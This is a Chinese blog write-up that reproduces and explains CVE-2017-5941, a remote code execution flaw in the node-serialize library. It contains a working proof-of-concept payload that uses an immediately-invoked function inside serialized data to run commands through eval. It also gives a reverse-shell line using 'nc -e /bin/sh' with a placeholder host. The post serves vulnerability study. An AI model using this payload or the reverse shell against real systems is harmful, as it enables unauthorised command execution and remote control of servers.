Chybeta

Node.js中的反序列化漏洞:CVE-2017-5941

合上吧,水文一篇。
Node.js中的反序列化漏洞?
(Node.js:这锅我不背)

漏洞复现

安装好node和npm后,安装一下主角node-serialize

1
npm install node-serialize@0.0.4 --save

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var serialize = require('node-serialize');
var chybeta = {
vuln : function(){require('child_process').exec('whoami', function(error, stdout, stderr) {console.log(stdout);});},
}
serResult = serialize.serialize(chybeta);
console.log("serialize result:");
console.log(serResult+'\n');
console.log("Direct unserialize:")
serialize.unserialize(serResult);
console.log("\n");
console.log("Use IIFE to PWN it:")
exp = serResult.substr(0,serResult.length-2) + "()" + serResult.substr(-2);
console.log(exp);
console.log("Exec whoami:")
serialize.unserialize(exp);

运行:

1
node index.js


可以看到执行了命令whoami

漏洞分析

关于IIFE

从运行截图来看,直接对序列化串进行反序列化,并不能导致远程命令执行,而是需要对序列化串进行修改。这里需要用到JS的IIFE(Immediately-Invoked Function Expression),也即立即执行函数。这里简单的进行介绍。

前两种写法都是很正常的函数调用。

而第三种function(){console.log("Hello,chybeta three!")}();,由于它直接以function()开头,js解释器默认情况下碰到function关键字时将其当作函数声明,而第三种写法缺少函数声明所必需的函数名。若要执行该函数,则必须显式地指定其为函数表达式。

第四种写法(function(){console.log("Hello,chybeta four!")}());,则是常见的IIFE写法,js解释器在遇到()时,将其中的内容解释为函数表达式,而不是函数声明,因此得以执行。注意在Hello,chybeta four!")}的后面还有一对括号()

node-serialize

在node-serialize的源码中,即node-serialize/lib/serialize.js,第59行开始,是对反序列(unserialize)的处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
exports.unserialize = function(obj, originObj) {
var isIndex;
if (typeof obj === 'string') {
obj = JSON.parse(obj);
isIndex = true;
}
originObj = originObj || obj;
var circularTasks = [];
var key;
for(key in obj) {
if(obj.hasOwnProperty(key)) {
if(typeof obj[key] === 'object') {
obj[key] = exports.unserialize(obj[key], originObj);
} else if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
obj[key] = obj[key].substring(CIRCULARFLAG.length);
circularTasks.push({obj: obj, key: key});
}
}
}
}
.....
}

其中有一句:

1
eval('(' + obj[key].substring(FUNCFLAG.length) + ')');

不妨在该句之前加上console.log:

1
console.log(obj[key].substring(FUNCFLAG.length));

执行node index.js

所以在进行eval时,实际进行的语句为:

1
eval((function (){require('child_process').exec('whoami', function(error, stdout, stderr) {console.log(stdout);});}()));

后面的这对括号(),正是我们在修改原反序列化串时加上的:

1
exp = serResult.substr(0,serResult.length-2) + "()" + serResult.substr(-2);

eval执行了该语句,从而造成了命令执行。

利用

将exec里的替换成反弹shell,比如:

1
nc -e /bin/sh xxx xxx

Refference

其他

无聊玩一玩。

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:Node.js中的反序列化漏洞:CVE-2017-5941

文章作者:chybeta

发布时间:2017年11月01日 - 18:11

最后更新:2017年11月01日 - 21:11

原始链接:http://chybeta.github.io/2017/11/01/Node-js中的反序列化漏洞:CVE-2017-5941/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。